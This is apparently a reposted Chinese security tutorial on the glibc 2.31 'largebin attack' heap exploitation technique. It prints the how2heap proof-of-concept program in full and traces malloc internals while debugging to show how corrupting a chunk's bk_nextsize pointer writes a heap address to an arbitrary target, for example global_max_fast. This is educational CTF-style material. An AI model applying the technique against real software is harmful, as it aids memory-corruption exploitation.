服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

【技术分享】Largebin Attack for Glibc 2.31

日期: 来源:安全客收集编辑:


最近的题目很多都用到了这种攻击方式,那么就来学习一下,利用该技术能实现向目标地址写一个大值。正好用 how2heap 的例子,并且从源码调试上来学习。


新增保护

新版本下新增了两个检查。

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

导致我们传统的largebin attack没法使用了。我们就来调试看看新的largebin attack手法是如何实现的。

关于实现利用的代码如下:

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){    fwd = bck;    bck = bck->bk;    victim->fd_nextsize = fwd->fd;    victim->bk_nextsize = fwd->fd->bk_nextsize;    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}

 

源代码

首先放一下我们的源代码,这里没有做任何修改。

#include<stdio.h>#include<stdlib.h>#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; }

*/
int main(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1); printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n"); printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;}


调试

为了能够看到在malloc中到底执行了什么,我们在当前目录下放入malloc.c,也就是放入malloc的源码。

首先我们断在下面的位置看下此时堆块的布局。

size_t *p1 = malloc(0x428);  size_t *g1 = malloc(0x18);  size_t *p2 = malloc(0x418);  size_t *g2 = malloc(0x18);

这里的 g1 和 g2 是为了防止两个大的 chunk 释放的时候合并。

此时我们释放我们的 p1,此时会进入unsorted bin中。

此时我们再分配一个比 p1 大的 chunk,这样会让 p1 进入 largebin 中。如果这里小了会切割 p1,所以要比 p1,才能让他进入 largebin 中。

然后我们在 free p2,此时 p2 就会被放入到 unsorted bin中。

此时我们修改 p1 的 bk_nextsize 指向 target-0x20,此时 p1 在 largebin 里。

修改前的 p1:

修改后的 p1:

看下我们的 target-0x20。

然后我们再 malloc 一个比 p2 大的 chunk(此时 p2 在 unsorted bin 里),那么此时,就会将 p2 从 unsorted bin 取出,放入到 largebin 里,那么就存在如下代码。

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){    fwd = bck;    bck = bck->bk;    victim->fd_nextsize = fwd->fd;    victim->bk_nextsize = fwd->fd->bk_nextsize;    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}

最关键就是最后一步,让我们看看到底发生了什么。

我们一路跟进,直到进入_int_malloc中。

我们在源码 malloc.c 中定位到关键代码的位置,因为我们的 p2 的 size 小于 bck->bk( largebin 中最小 size 的chunk )。

然后打下断点。

然后 c 继续执行,就会停在关键的位置。

调试就可以知道在这段关键代码中,victim 是我们的 p2,fwd 为 largebin 的链表头,bck为 largebin 中的最后一个chunk,也就是最小的那个,也就是我们这里的 p1。

然后就是下面的三条指令。

victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

翻译过来就是下面这样。

p2->fd_nextsize = &p1p2->bk_nextsize = p1->bk_nextsizep1->bk_nextsize = (target-0x20)->fd_nextsize = victim

前两条指令执行完之前:

前两条指令执行完之后:

然后我们注意下第三条指令的(target-0x20)->fd_nextsize = victim。

这里 0x20 和 fd_nextsize是可以抵销的,也就是说此时我们可以将victim也就是一个堆的地址写在 target 上,这就是我们的 目标地址写一个大值,我们来验证下。

从上图我们看到原先我们的 (target-0x20)->fd_nextsize的值为 0。当执行完第三条指令后。

可以看到我们的fd_nextsize的位置已经写上了 victim 。

 

总结

通常而言,这种写大数的行为,我们可以用来修改global_max_fast。这里为什么想到的,估计是根据victim->bk_nextsize可控,那么victim->bk_nextsize->fd_nextsize可控就能写入一个vitcim。那么为什么victim->bk_nextsize,反推回去就是fwd->fd->bk_nextsize可控,这个可控翻译过来其实就是 largebin 中链表尾部,也就是最小的那个 chunk 的 bk_nextsize 可控,然后再其中写入 目标地址-0x20。


- 结尾 -
精彩推荐
【技术分享】shiro550漏洞复现与研究
【技术分享】pocassist—全新的开源在线poc测试框架
【技术分享】从0到1——Hook内核系统调用

戳“阅读原文”查看更多内容

相关阅读

  • 【技术分享】shiro550漏洞复现与研究

  • 前言:就像雨总会停,雾总会散,同样地没有谁会一直失败。1漏洞描述1.shiro概述Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直
  • 顾明远:数字教育要处理好三对关系

  • “对于人工智能,我是个门外汉,但作为教育工作者,我想谈点对这个问题的初步认识。我认为,教育应该迎接数字技术的挑战。”近日,在人工智能与数字教育研讨会暨联合国教科文组织“人
  • 奋力谱写浙江刑事技术工作新篇章!

  • 3月30日至31日,全省公安机关刑事技术工作转型升级现场推进会在东阳召开。会议总结交流近四年来刑事技术工作转型升级取得的经验,深入分析刑事技术面临的新形势和存在的问
  • 【封面故事】ChatGPT革命

  •   中国小康网 独家专稿    图源/hellorf  上线两个月,拿下全球1亿用户,人工智能聊天机器人ChatGPT超越Tik Tok(抖音海外版),成为了史上用户增长速度最快的消费级应用程
  • 2023国际显示技术大会召开

  • 3月31日至4月3日,2023国际显示技术大会(International Conference on Display Technology,ICDT)在江苏南京国际展览中心召开。本次会议以“预见显示技术发展趋势(I see display t

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • 【技术分享】从0到1——Hook内核系统调用

  • 本文对kernel双机调试环境搭建、基础LKM编写、内核Hook系统调用、内核模块在不同机器上的加载进行了简单的介绍。前言先介绍一下背景吧,目前IOT设备发展可谓如火如荼,在研究
  • 桓台县档案馆收藏本土作家巩本勇作品

  • □淄博日报/淄博晚报/博览新闻记者丁兆云 通讯员朱晓宇近日,桓台县本土作家巩本勇著作捐赠仪式在桓台县档案馆举行。仪式上,巩本勇将长篇小说《苍生谣》、精装诗集《风过黄河
  • 【安全头条】MCPA协会敦促美军建立独立网络部队

  • 第487期你好呀~欢迎来到“安全头条”!如果你是第一次光顾,可以先阅读站内公告了解我们哦。欢迎各位新老顾客前来拜访,在文章底部时常交流、疯狂讨论,都是小安欢迎哒~如果对本小